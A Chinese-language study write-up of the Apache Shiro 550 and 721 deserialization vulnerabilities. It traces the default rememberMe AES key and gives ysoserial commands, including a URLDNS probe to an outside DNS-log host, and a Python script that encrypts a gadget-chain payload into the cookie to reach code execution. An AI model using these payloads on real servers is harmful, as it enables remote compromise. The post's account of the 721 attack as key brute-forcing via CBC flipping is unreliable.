前言:

经过一段时间的java安全知识的学习,对整个java安全的认知也进一步加深,平时耳熟能详的shiro也来到了我的java安全学习日程中,接下来就针对shiro系列漏洞shiro550,shiro721进行一波学习。

shiro

shiro是一款安全框架,他主要干的事情就是和身份验证,授权,会话管理等有关的事情,shiro550和shiro721的漏洞触发点都是因为shiro在登陆的时候提供了一个大家经常都能用到的功能:记住登陆状态,下次登录就不用重新输入密码了。但是shiro在处理他时采用的办法是在cookie中加入一个rememberMe字段,并且往里面保存加密后的序列化数据,当用户再次登录会直接反序列化这一段数据来获得用户信息.我们要是知道加密方式就能任意触发反序列化代码导致漏洞出现

shiro550

部署

直接访问

https://github.com//apache/shiro/archive/refs/tags/shiro-root-1.2.4.zip

下载后使用idea打开使用maven一键下载依赖,然后配置tomcat,deployment选择samples-web:war包

这里我省去了前面参数传递方法,以及拦截器部分的分析,直接分析核心加密解密方法

来到AbstractRememberMeManager.java中,这是用来处理rememberMe的一个manager,在其中可以看到decrypt方法用来解密密文,decrypt方法需要两个参数,encrypted(加密密文),getDecryptionCipherKey(解密密钥)

此处CipherService是一个接口,调用此接口的decrypt方法进行解密,CipherService中定义了一些用于加密解密常用方法

看一波getDecryptionCipherKey(),发现他直接返回了decryptionCipherKey

我们搜索this.decryptionCipherKey,发现他是在setDecryptionCipherKey中被赋值的

搜索setDecryptionCipherKey,在setCipherKey中进行赋值,可以看到这里传入了一个byte[] cipherkey

查找setCypherKey,找到了,在AbstractRememberMeManager调用setCipherKey,传入了一个默认的DEFAULT_CIPHER_KEY_BYTES

这个默认的DEFAULT_CIPHER_KEY_BYTES值为kPH+bIxk5D2deZiIxcaaaA==,到这里我们就发现问题了,当用户没有自己定义自己的cipherkey时会默认使用默认的cipherkey进行加密解密

知道密钥是从哪儿来的了,那么现在看看那个地方调用了解密函数decrypt

在convertBytesToPrincipals中调用了decrypt并返回了deserialize

我们跟进deserialize看看解密过程,跟进cipherService.decrypt

稍微运行一下我们就能在变量中看到整个AES加密模式以及iv偏移量

可以看到AES采用CBC加密模式,iv偏移值为16位的

接下来跟进deserialize,调用getSerializer获取DefaultSerializer并调用DefaultSerializer.deserialize方法

可以看到在这里面直接就调用了readObject方法触发反序列化,没有经过其他过滤。

shiro550-利用

知道了整个触发过程以及密钥,那我们就可以开始尝试利用了

整个思路就是只需要将我们的恶意序列化payload利用我们获取到的密钥和iv值进行加密,然后放入cookie中的rememberMe字段发起攻击,服务端便会解密我们的payload然后调用readObject触发反序列化

利用URLDNS开一个探测payload,使用ysoserial生成URLDNS的Payload,运行

1
java -jar ysoserial.jar URLDNS "http://c2b3ad5d.toxiclog.xyz" > payload

python3加密payload脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def getPayload():
payload = open("payload","rb").read()#读取ysoserial生成的payload
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="#默认密钥
mode = AES.MODE_CBC
iv = b' ' * 16#设置iv值
encryptor = AES.new(base64.b64decode(key), mode, iv)#设置AES加密模式
file_body = pad(payload)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
print(base64_ciphertext.decode())

if __name__ == '__main__':
getPayload()

执行结果:

替换rememberMe

收到请求

利用CommonsBeanutils1链实现rce,这里有个需要注意的地方,commons-beanutils版本在1.9.2才能触发

1
java -jar ysoserial.jar CommonsBeanutils1 "calc" > payload  

弹出计算器

shiro721

shiro721和550在加解密部分没有啥区别

在shiro721(shiro<1.4.2)版本中,虽然修改了shiro550的密文获取方式,但是忽略了一点,整个AES加密就是可以被利用CBC反转攻击破解的,在获得一个合法的rememberMe后通过这个合法的rememberMe的值可以爆破出密钥,达到利用效果

由于爆破这个需要花费的时间比较长而且利用原理和550基本一样,就不展开赘述了。